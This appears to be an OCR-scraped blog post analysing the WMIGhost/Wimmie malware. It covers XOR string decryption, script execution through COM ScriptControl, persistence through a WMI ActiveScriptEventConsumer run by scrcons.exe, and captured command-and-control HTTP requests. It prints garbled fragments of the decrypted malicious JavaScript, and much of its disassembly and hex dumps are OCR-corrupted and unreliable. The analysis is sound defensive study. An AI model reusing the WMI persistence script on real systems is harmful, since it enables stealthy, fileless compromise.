WMIGhost / Wimmie - WMI malware

secrary.com/ReversingMalware/WMIGhost/

cd ../reverse_engineering_malware 5 minutes read

WMIGhost / Wimmie sample is from theZoo

SHA256: a6ff8dfe654da70390cd71626cdca8a6f6a0d7980cd7d82269373737b04fd206

The sample has .d11 extension but there are no exports and according to characteristics,

its not d11 file, I've changed the extension to .exe

PointerToSymbolTable | 0000D0E4 Dword
MurnberQOfSymbols O00000ES Dwiord
SizeQfOptionalHeader | D00ODDEC word
Characteristics 000000EE Word

00000
00000000
00ED

010F Click here

We can use the report from hybrid-analysis.

There is no protection, let’s dive in deep.

Characteristics

File is &xecutable

[] File is a DLL

|:| Systﬁm

Relocation info stripped From File

Line numbers stripped From file

Local symbols stripped From file

[] Agressively trim working set

[] app can handle =2gb address space

[] Bytes of machine word are reversed (low)
32 bit word machine

71 Pehinanine infa strinned Fram File in . DRG File
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https://secrary.com/ReversingMalware/WMIGhost/
https://secrary.com/ReversingMalware
https://github.com/ytisf/theZoo/tree/master/malwares/Binaries/WMIGhost
https://www.hybrid-analysis.com/sample/a6ff8dfe654da70390cd71626cdca8a6f6a0d7980cd7d82269373737b04fd206?environmentId=100
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From the beginning, it decrypts text using XOR with 0x63 and OxE9 :

a1 =

faLa1618
faLa1618
aa4e1618
aasa161B8
aasa1821

loc_h4B1018:

mou
cmp
jnb

ecxX, [ebp+counter]
eCxX, 498G
short loc_ 48165F

Y

s 5

aaL 61623
aaL 61623
aa4 81623
aa4 081626
aasa1620
a848182F
884081835
aaLe1637
aaLa1623n
gaL 010440
aa4 81643
aa401064Aa
aa48164Cc
g8481852
gaLa1a5y
aaLe1657
aaLa165D

XOR_Bx63_BXE9:

mou
mousx
=0r
moy
=or
mou
mou
mou
mousx
=or
mow
=0r
mou
mou

jmp

edx, [ebp+counter]
eax, Enc_Str[edx]
eCx, ECXH

cl, Ox63

eax, ecx

edx, [ebp+counter]
Enc_Str[edx], al
eax, [ebp+counter]
ecx, Enc_Str[eax]
edx, edx

dl, O=E?

ecx, edx

eax, [ebp+counter]
Enc_Str[eax], cl
short loc_L4B6168F

Decrypted text:

bl e 55

aaLe1065F
8oL 01 65F
Ba4a1a65F
aa481 0866
aa40a10869
g848186E
gaLa1a671
aaLe1a872
aaLe1a77
aaLE1a67n
aa4e187F
aa4 010685
884081 68C
a848188F
gaLa14a94
aaLa1a897
aa4 0614699
aa406189a
88481898

loc &
mnow
lea
call
now
push
call
add
push
call
mow
lea
call
mow
mow
pop
retn
std
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Raw format- Gist link

Much more readable:

fa4 0630628
88483038
884083048
8840830658
88483868
BaL 63678
faL 630688
fa4 630698
fa4630n8
8840836688
Ba4a306C8
aa483 608
88483 BEB
804063 06F8
864063188
faL63118
804063128
884083138
884083148
88463158
88483168
804083178
faL 063188
fa4 63198
Ba4631A8
88463188
8840831C8
88463108
884631E8

66)
76

7B
il
21
62
iy
76
73
iy
22
22
69
2C
22
2B
63
2E
55
ir
6D
aD
75
60
75
GG
3D
ill)
3D

75
61
69
65
=1H
73
4F
65
75
61
58
2C
6E
i2
6
22
iy
6B
i2
GE
[i1H
6E
60
60
GG
GG
GE
3D
27

GE
i2
6D
ilH
=1H
63
62
53
6D
GE
i2
i2
65
2E
61
27
69
65
ilH
65
5%
75
60
dB
GG
3B
iS5
GE
32

Gist Link

63
28
ia
3D
=1H
i2
6A
63
65
63
6F
2E
3D
53
i2
dB
6F
79
3D
i2
72
6C
1B
24
1B
24
ilH
75
2E

iy
GE
65
69
=1H
69
65
i2
i2
65
62
i3
22
63
28
76
GE
3D
i3
3D
[i1H
6C
24
2E
24
2E
ilH
ilH
38

69
3D
i2
ill)
2E
78
63
69
22
SF
65
63
GA
i2
i3
61
28
27
58
i3
3D
1B
2E
i3
2E
i3
3B
ilH
2E

6F
22
73
70
5C
74
7h
70
29
28
53
72
61
69
uF
72
29
57
6D
uF
27
24
6F
48
73
1D
24
38
30

GE
i7
6F
65
=1H
69
28
iy
2E
29
63
69
i)
78
i7
28
7B
27
ilH
ir
27
2E
53
6F
4F
61
2E
24
27

208
69
GE
i2
72
aoF
6E
L5
73
3B
i2
ia
61
L.
6E
4p
24
3B
55
GE
3B
aoF
iy
i3
53
63
i3
2E
3B

65
GE
61
i3
6F
6E
2B
76
78
i2
69
FiL.
73
LYy
65
m
aD
24
i2
65
24
53
i2
iy
5y
Ly
55
il
24

28
6D
iy
6F
6F
22
22
65
61
2E
ia
69
63
65
i2
49
iy
2E
ilH
i2
2E
68
65
LE
70
64
52
65
2E

65
¥
69
GE
74
2C
an
GE
i7
GE
iy
GE
72
78
aD
LE
68
i3
3B
3B
6F
65
61
61
78
64
4C
i2
72

2C
6D
6F
61
=1H
i2
1
iy
GE
61
46
T
69
L.
27
a0
69
46
24
24
48
6C
6D
6D
65
i2
58
i3
75

iy
iy
GE
FiL.
=1H
aD
63
43
69
6D
69
65
78
aD
22
66
73
65
2E
2E
74
6C
aD
65
aD
65
61
69
6E

29
i3
4C
65
73
L7
iy
6F
GE
65
GE
GE
74
L.
2B
75
1B
65
i3
i3
74
aD
6E
a0
GE
i3
i2
6F
74

7B
3A
65
iD
75
65
69
GE
73
3D
iy
T
22
2B
65
GE
24
64
4F
58
78
6E
75
GE
75
i3
61
GE
69

function-e{e, t){
var-n="winmgmts:
{impersonationLe
vel=impersonate}
WY WAooty su
bscription",r=Ge
tobject{n+":Acti
veScriptEventCon
sumer') .spauwnins
tance_():;r.name=
“ProbeScriptFint
".F.scriptingeng
ine=""javascript"
oF-ScriptText=t+
"var -s0uner="""+g
+" " zuar-MAIN=Ffun
ction{){4=thisc;%
key="U" ;% _sFeed
Url=sXmlUrl;:$.s0
wner=s0uner;$.sx
mlUrl="";%.oHttp
=null;%.oShell=n
ull;%.oStream=nu
11:%.cHostHame=n
ull;$.s0SType=nu
11;:%.sHacAddress
=null;%.sURLFPara
m=null ;% .version
="2_8.8"';5.runti

NOTE : you can use my script to extract decrypted text from the executable: Gist link.

The malware uses CoCreateInstance function to get accessto coM functionality.

The Microsoft Component Object Model (COM) is an interface standard that makes it

possible for different software components to call each other’s code without knowledge of

specifics about each other.
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https://gist.github.com/secrary/8705c3cf184aec54f370c5704742602d
https://gist.github.com/secrary/a67efdd15cdddc5e39fa2ce75fcf16c9
https://gist.github.com/secrary/c4fd3273a24da449795cc47f2e4378ef

ScriptControl Object: BES9F1D5-1FBE-11D6-8FF2-88ABD16038BC )

TRESTNES L RRRRES pRpe aweLen o prn -

80401860 rclsid= dword ptr 8

80481B66 pUnkOuter= dword ptyr B8Ch
88481B6A dwClsContext= dword ptr 16h
88481860

B0481B66 push ebp

a8481B61 mov ebp, esp

80481863 push BCX

B0481B64 mow [ebp+ppu], ecx

a8481B67 mov eax, [ebp+ppv]

a0481B6A push eax ; Ppv
88481B6B push offset riid ; riid
A0481B70 mou ec®, [ebp+duClsContext]
80481B73 push BCX ; duClsContext
B0481B74 mow edx, [ebp+pUnkiuter]
A04@1B77 push edx 5 pUnkOuter
B0481B78 movw eax, [ebp+rclsid]
B0481B7B push eax g
a8481B7C call ds:CoCreatelnstance
B0481B82 movw esp, ebp

a8481B84 pop ebp

A8481B85 retn ach

80481885 sub_481B68 endp

88481885

MS Script Control is providedin msscript.ocx . Itis a very handy tool to run
VBScript/JScript without relying on CScript.exe or WScript.exe

Seems like malware uses Script Control via COM to execute decrypted function without

CScript.exe or WScript.exe

call dword ptr[ecx+20h] calls some function from msscript.ocx , but | have no idea
which function, there are no symbols, but | think it chooses javascript to execute the

script:

& @iReOuenkey  HKCUMSoftware!\Classes SLICCESS Guery: Name 08481945 push offset SEH_ug194p
£ #ReoOperkey  HKCUASoftwaretClasses\CLSIDAF4140260-B4C0-11CF-BED1-004400EBBRSE} MNAME NOT FOUMND Desired Access: B 884 B194A mov eax, 1argg_Fs H
£ @ RecOperkey  HKCRVCLSIDMF414C260-6A00-11CF-BE01-004A00BBBE58} SLCCESS Desited Access: B 88481958 push eax
£ @ Recluenkey  HKCRVCLSIDNI4140260-6ac0-11 ch-bBd1 -002500bbbb5E} SLCCESS Querny: Name 884681951 mov large fs:8, esp
B @RegOpentsy  HKCU\Software\Classes\CLSIDNf14c260-6ac0-11 of-bBd1-00a300bbbbSE} MAME MOT FOUND Desited Access: M 80481958 sub esp, 8
B @ Reguenvalue HKCRACLSIDW4146260-B500-11ch-b6d1-002200bbbb5814ppID MAME NOT FOUND Length: 144 00481958 mov [ebp+var_14], ecx
6 @RegClosskey  HKCRACLSIDW41 4026063011 f-b6d1-00a200bbbb S8} SWCCESS 0048195E mou [ebpfuar:u] ., B
6 @RegClosekey  HKCRACLSIDW414c260-6ac0-11c-b6d1-003200bbbb 58} SWCCESS 00401965 lea ecx, [ebp+arg 0]
E ﬂHegGueryKey HKCUASoftwareiClasses SUCCESS Guerny: Name 004081968 call sub 4819CH -
B @ RegDpeney  HKCUSoftware\Classes\CLSIDNF414C260-B400-11CF-BED1-004400BEBESE} MNAME NOT FOUMD Desired Access: R... 004061960 push eax
E EHEQDDEHKE}' HKCRYCLSIDWF414C260-64.C0-11CF-BED1-004A00BBBESE} SWICCESS Desired Access: R... 0040196E mouw eax, [ebp+var_14]
E @fRegClosekey  HKCRACLSIDNI414c260-8ach-11cl-bEd1-00aa00bbbb5a} SUCCESS 00461971 mou ecx, [eax]
6 @ Regluenkey  HECU\Software'\Classes SUCCESS Query: Name 08461973 mov edx, [ebp+var_14]
£ #ReoOperkey  HKCUASoftwaretClasses\CLSIDAF4140260-B4C0-11CF-BED1-004400EBBRSE} NAME NOT FOUND Desired Access: B 88481976 push edx B
3] ﬂF! fuf s HECRATL SINAFAT AT 2R0.AA T CF.RED L ANAANNRRRR RS LICTF! MNacirad =]
4] Q 88481974 mov [ebp+var_18], eax
5 @R 00481970 cnp [ebp+var_18], 8
6 #n 88481981 jge short loc_481995
5 @R (1 {F3D3F924-11FC-1103-BB97-00CO4FREERC} A Mame Type Data
6 ER =123 4f414c260-6ac0-11 cf-bed1-00aa00bbbbSE} [aB]tpefaulty REG_SZ I5eript Language []
6 ELR = Tplemented Categories "=
g EE (10 {FOB7A1A1-9847-11CF-BF20-00805F2CD054} Lot riid 28481905
& gn D[;_j {FgBTMASZZ-QBW-l1CF-8FZD-DDSDSF2CDDE-4} [ [ebpruar 14]| |98481995 1oc u@1995:
& #tR "ProCoGEr 004681995 mou [ebp+var 4], OFFFFFFFFh
& #R (21 OLEScript . [ebp+uar_10]| |pouei99c lea ecx, [ebp+arg_p]
& #tR 3 Proaio 0046199F call unknown_libname_2 ; Hicros
& &R - {f414c261-6ac0-11cf-bed1-00aan0bbbbsa} | 401DD2 AB4B19A% mov ecx, [ebp+uar_C]
5 @R (] 4f414c262-6ac0-11cf-bed1-00aa00bbbbSE}, 884819A7 mov large fs:0, ecx
& #iR (1] {F44BBZD0-FO70-463E-9433-B0CCF3CFDEZT} B04B19AE mou esp, ebp
5 1 (EALAHEEA EDME AZok AETE AEANBEBENIZAT ARLAIARA nan coo

(Click here to view a larger version)
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https://user-images.githubusercontent.com/16405698/28249463-6871beac-6a67-11e7-94ad-945a832fa954.png

bl et (55

B04813FB

B04813FB loc_4813FB: ; int

B04813FB push BCX

B04013FC mowv ecx, esp ; this

B04813FE mow [ebp+var_3C], esp

80481461 push offset aJdavascript ; “JavaScript"

804014086 call std::ios_base::register_callback(void {=)(std::ios_base::event,std::ios_base &,int),int)
80481488 mow [ebp+var_44], eax

B040146E mow eax, [ebp+var 44]

00401411 mow [ebp+var_ 48], eax

60401414 mow byte ptr [ebp+var_Ai], 1

00401418 lea ecx, [ebp+uar_18]

80481418 call unknown_libname_6& ; Hicrosoft UisualC 2-11/net runtime

After this at 00401AB7 there is another call to function from msscript.ocx :

88481A%E mouv [ebp+var_4], B
B884B1AAS lea ecx, [ebp+arg_ 8]
a0481AA8 call sub_4819CA
ae481AAD push eax
a8481AAE mou eax, [ebp+uar_18]
88481AB1 mou ecx, [eax]
88481AB3 mow edx, [ebp+var_ 18]
88481ABG push edx
Be481ABY call dword ptr [ecx+78h]
a0401ABA mou [ebp+var_168], eax
88481ABD cmp [ebp+var_168], 8
BB4B1ACT jge short loc_481AD5
L J
il e =
884B81ACE push offset riid aaua1aDs
80481ACE mov eax, [ebp+var_18]| (68481AD5 loc_ A4B1ADS:
80481ACE push eax 88481AD5 mow edx, [ebp+var_18]
80481ACC mov ecx, [ebp+var_18]| (00481AD8 mov [ebp+var_ 14], edx
88401ACF push BCX 80481ADE mov [ebp+var_4], BFFFFFFFFh
ae4p1ADA call sub_481DD2 A84B1AE2 lea ecx, [ebp+arg_#]
A8481AES call unknown_libname 2 ; HMicrosoft VisualC 2-11/net ruw
B8481AEA mov eax, [ebp+var_14]
AohO4aFR mnn o Tohn+onae M1

| think this function is used to execute the script because it causes creation of new process

SCrcons.exe

| Intenmupts <uul néa Hardware Intermupts and UHELs
= [ smzs.exe 372 Windows NT Session Mana..  Microsoft Corporation
E O35 BNE 564 Client Server Runtime Process Microsoft Corparation

= ] winlogon.exe
= [ zervices.exe
[ vmacthip.exe
= [ svchost.exe
[ wmiprese. exe
[ wmiprese. exe

_‘”3

588 Windows NT Logon Applicat...
BES Services and Controller app
240 i ware Activation Helper
852 Genernic Host Process for Wi..
1160wkl
2188wl

W lard E v
932 Genenc Host Process for'wi .

Microzoft Corporation
Microzoft Carporation
Widware, Inc.

Microzoft Corporation
Microzoft Carparation
Microzoft Corporation
i it Corp {

E svchost exe 2,304 K : Microzoft Carparation

= [ svchost.exe 26,216 K. 17,796 K. 1028 Generic Host Process for Wi.. Microsoft Corparation

E wachtfy exe V44K 3MBE. 1796 Windows Securty Center Mo... Microzoft Carporation

E svchost exe 203 EK 236K 1076 Genenc Host Process for'Wi.. Microsoft Corparation

E svchost exe 1.786 K 1464 K 1124 Genenc Host Process for'Wi..  Microsoft Corporation

E svchost exe 1456 K 228 K 516 Genernic Host Process for Wi, Microsoft Corparation

[T svchost exe 2484 K 1.03E K BE0 Genenic Host Process for Wi.. Microsoft Corparation
[ WGauthS ervice. exe E.248EK 172K 968 Whware Guest Authenticatio... Vhware, Inc.
ﬁ wmtoalzd. exe 11956 K, BETZE 1086 VWiware Tools Core Service Wiware, Inc.

= 2l e 1 N9 K QK ANA Arrlicabon | soare B akaman @ Micraenbt Carmarakion

According to TrendMicro ’s great paper:


https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp__understanding-wmi-malware.pdf

Based on our analysis of using JS, the application wscript.exe is
responsible for executing the malicious code. However, in the case of WMI
implementation, such a script is executed by the WMI Standard Event Consumer
- scripting application, which can be found in the WMI folder in %system32%/
wbem/scrcons.exe. This makes the script hard to detect since it uses a not-
so-common WMI application—scrcons.exe—rather than the traditional JS
application—wscript.exe.

Yes, the sample uses WMI and executes the script using scrcons.exe .

After creation of the new process, it also creates httpcom.log file and writes infection
date:

File Edit Ewvent Filker Tools Options Help
BH ABE AS® B #A5 [(#HB[LoM

Time.. Process Mame FID | Operation Fatk Result Detail
802 reateFile CAWAND O Sheystem32hhttpeomlog - SUCCESS Desired Access: G...

2:01:3.. " Jwmighost.exe 3384 =hQuerStandardl... C:WWIND WS eystem32ihttpcom log - SUCCESS AllocationSize: 24, ...
B AT ECA :Iwmighost.e:-ce 304 E;WriteFile CAWAND O Sheystem32hhttpeomlog SUCCESS Offzet: 21, Length: ..
— 2:01:3.. " Jwmighost.exe 3334 BhSetBasicinform... CAwWINDDWShsystem32ihttpeam log SUCCESS CreationTime: 7/1E...
Showing 4 of 363,290 events (0,0010%:) Backed by virtual memary
37| wvig = B8;
39 sprintF(&D?st, ::FurmaF, &Buffer, &DstBuf); Fle Edit Format View Help
48| GetSystemDirectoryA{&FileHame, 8x184u};
41| strcat{&FileHame, Source); [20:00:38] - Run OK
42| hFile = CreateFileA{&FileHame, B8x400000088u, 1u, A, 4u, Bx86u, 08);
43| if { hFile *= {HANDLE}-1 }
hy
5 SetFilePointer{hFile, B8, 8, 2u);
46 v? = strlen{&Dest);
W7 WriteFile{hFile, &Dest, w2, &HumberOfBytesWritten, @);
48 GetSystemTime{&SystenTime);
49 SystemTime .w¥ear = 2886;
ca SystemTimeToFileTime(&SystemTime, &FileTime);
51 SetFileTime(hFile, &FileTime, &FileTime, &FileTime);
L2 CloseHandle(hFile);
53 LeaveCriticalSection{lpCriticalSection};
5L OutputDebugStringf{&DstBuf);
5L H

add esp, 4

push offset FileMame ; "C:\\Windows\isystem32:\Instell.exe"
call ds:-DeleteFilen

mou [ebp+var_24], @

1ra prx . Fehn+uar 201

That's executable, let’s look at the script:

6/11


https://gist.github.com/secrary/8153a0cb8b4954429e1c430ad4821f96

= function e(e, t
var

(r.name

0)s (r.
)s (r-

()), (r-name

(Click here to view a larger version)

It creates instance of ActiveScriptEventConsumer under root\subscription
namespace, executes Javascript script every 0x6e3 milliseconds , you can get the
script from the Gist or get using WMI_Explorer, it's under ROOT\subscription
namespace, the class is ActiveScriptEventConsumer , the name of the instance is
ProbeScriptFint , the scriptis a value of the ScriptText property.

Classes [5] | Gearch
J Quick Filter Instances (1) | Properties 19) | Methods (0) | Query | Scipt | Logging
Classes Instance Oplions

. Shows Null Vil
P2 || Quick Fiter ol Sl e RefieshInstances | | Refresh Object
W [ Shows System Praperties

W Instances Bl Froperties
onsumer.Name="ProbeSciiptFint”

(Click here to view a larger version)

WMI classes stored in namespace: subscription allow permanent and general access to
WMI services.

new MAIN().Fire() causes executing of MAIN routine:
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https://user-images.githubusercontent.com/16405698/28249667-413e6bba-6a6b-11e7-93a3-d66baabe0716.png
https://gist.github.com/secrary/a67efdd15cdddc5e39fa2ce75fcf16c9
https://wmie.codeplex.com/
https://user-images.githubusercontent.com/16405698/28249657-01e2eb12-6a6b-11e7-8f9b-1d965588f3fd.png

function() {
()5

"
¥

Parses URLs from the argument and sends information about infected PC:
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: function() {

.version

: function() {

O) A

();

: function() {

(

Receives commands and sends results:

9/11



[Mew request on port 86.1

GET ~/The-first—-blog—bl-RES-bhl-rss2-posts._htm HTTP-1.1

Accept: *=7%

Uszer—Agent: Mozillas5.8 (Mindows; U; Windows HT 5.1; ruv:l.?.1> Gecko-20878624
irefox-s3.5

Accept—Encoding: gzip,. deflate

Host: kumardeep.soshlogs.com

Connection: Keep—fAlive

[Sent http response to client.]

[Received new connection on port: 88.1
[Mew request on port H8.1

GET sanilchoprasfeedrs HTTP-1.1

Accept: /%

User—Agent: Mozillas5.8 (Windows;: U; Windows NT 5.1; »utl1.7.1> GeckosZ200786024
irefox-3.5

Accept—Encoding: gzip, deflate

Host: blogs.rediff .com

Connection: Heep—Alive

[Sent http responze to client.]

[Received new connection on port: 86.1
[Mew request on port 8@.1

GET rkapoorsunil@? profilesrss HTTPA1.1

Accept: *=7%

Uszer—Agent: Mozillas5.8 (Mindows; U; Windows HT 5.1; ruv:l.?.1> Gecko-20878624
irefox-s3.5

Accept—Encoding: gzip, deflate

Host: www.hlogster.com

Connection: Keep—fAlive




If you prefer you can dive deeper into the script, it's not obfuscated and is easy to analyze.

That’s all... WMIGhost / Wimmie is a very interesting malware, it uses WMI to achieve
persistence and get system related information, the script is not on the disk.

We can get information about WMI Database Entries using Autoruns :

| L ey e e g e Ty . e " M e | — -
]E Image Hijacks || |% AppInit || %] KnownDLLs || ' ‘Winlogon || .‘} ‘Winsock Providers || 2y Print Moritors || @ LS4 Providers || L fletwork Providersl Eai iMI

Autorun Entry Descrption Publizher Image Path Timestamp
3 Whl Database Entries
j ProbeScriptFint  Scrpt embedded in'wM| da... Double click to open copy

Maybe | overlook something related to wMIGhost , due to my limited knowledge, if you find
something interesting please contact me.

I’m new to reversing malware and any kind of feedback is helpful for me.
Twitter: @_qaz_gaz
Resources:

Understanding WMI Malware
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https://twitter.com/_qaz_qaz
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp__understanding-wmi-malware.pdf

